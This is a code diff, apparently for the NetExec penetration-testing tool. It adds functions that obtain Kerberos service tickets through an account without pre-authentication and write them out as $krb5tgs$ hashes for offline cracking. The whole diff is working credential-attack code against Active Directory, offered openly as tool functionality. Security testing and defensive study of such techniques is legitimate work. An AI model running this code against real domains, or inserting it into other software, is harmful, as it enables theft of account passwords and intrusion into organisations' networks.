@@ -104,6 +104,56 @@ def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None):
104104
105105 return entry
106106
107+ def output_tgs_from_asrep (self , asrep_blob , spn , fd = None ):
108+ asrep = decoder .decode (asrep_blob , asn1Spec = AS_REP ())[0 ]
109+ realm = self .domain .upper ()
110+ enc = asrep ['ticket' ]['enc-part' ]
111+ etype = enc ['etype' ]
112+ cipher = enc ['cipher' ].asOctets ()
113+
114+ if etype == constants .EncryptionTypes .rc4_hmac .value : # 23
115+ chk = hexlify (cipher [:16 ]).decode ()
116+ data = hexlify (cipher [16 :]).decode ()
117+ entry = "$krb5tgs${}$*{}${}${}*${}${}" .format (
118+ etype ,
119+ spn .split ('/' )[0 ],
120+ realm ,
121+ spn .replace (":" , "~" ),
122+ chk ,
123+ data ,
124+ )
125+
126+ elif etype == constants .EncryptionTypes .aes128_cts_hmac_sha1_96 .value : # 17
127+ chk = hexlify (cipher [- 12 :]).decode ()
128+ data = hexlify (cipher [:- 12 ]).decode ()
129+ entry = "$krb5tgs${}${}${}$*{}*${}${}" .format (
130+ etype ,
131+ spn .split ('/' )[0 ],
132+ realm ,
133+ spn .replace (":" , "~" ),
134+ chk ,
135+ data ,
136+ )
137+
138+ elif etype == constants .EncryptionTypes .aes256_cts_hmac_sha1_96 .value : # 18
139+ chk = hexlify (cipher [- 12 :]).decode ()
140+ data = hexlify (cipher [:- 12 ]).decode ()
141+ entry = "$krb5tgs${}${}${}$*{}*${}${}" .format (
142+ etype ,
143+ spn .split ('/' )[0 ],
144+ realm ,
145+ spn .replace (":" , "~" ),
146+ chk ,
147+ data ,
148+ )
149+ else :
150+ self .logger .fail (f"[{ spn } ] etype { etype } not supported" )
151+ return None
152+
153+ if fd :
154+ fd .write (entry + "\n " )
155+ return entry
156+
107157 def get_tgt_kerberoasting (self , kcache = None ):
108158 if kcache :
109159 if getenv ("KRB5CCNAME" ):
@@ -178,6 +228,28 @@ def get_tgt_kerberoasting(self, kcache=None):
178228 nxc_logger .debug (f"Final TGT: { tgt_data } " )
179229 return tgt_data
180230
231+ def get_tgs_no_preauth (self , no_preauth_user , spn ):
232+ no_pre_princ = Principal (no_preauth_user ,
233+ type = constants .PrincipalNameType .NT_PRINCIPAL .value )
234+
235+ try :
236+ ticket , _cipher , _old , _sess = getKerberosTGT (
237+ clientName = no_pre_princ ,
238+ password = "" ,
239+ domain = self .domain ,
240+ lmhash = b"" ,
241+ nthash = b"" ,
242+ aesKey = "" ,
243+ kdcHost = self .kdcHost ,
244+ serverName = spn ,
245+ kerberoast_no_preauth = True
246+ )
247+ except Exception as e :
248+ nxc_logger .debug (f"Unable to retrieve the ticket for { spn } via { no_preauth_user } : { e } " )
249+ return None
250+
251+ return self .output_tgs_from_asrep (ticket , spn )
252+
181253 def get_tgt_asroast (self , userName , requestPAC = True ):
182254 client_name = Principal (userName , type = constants .PrincipalNameType .NT_PRINCIPAL .value )
183255
0 commit comments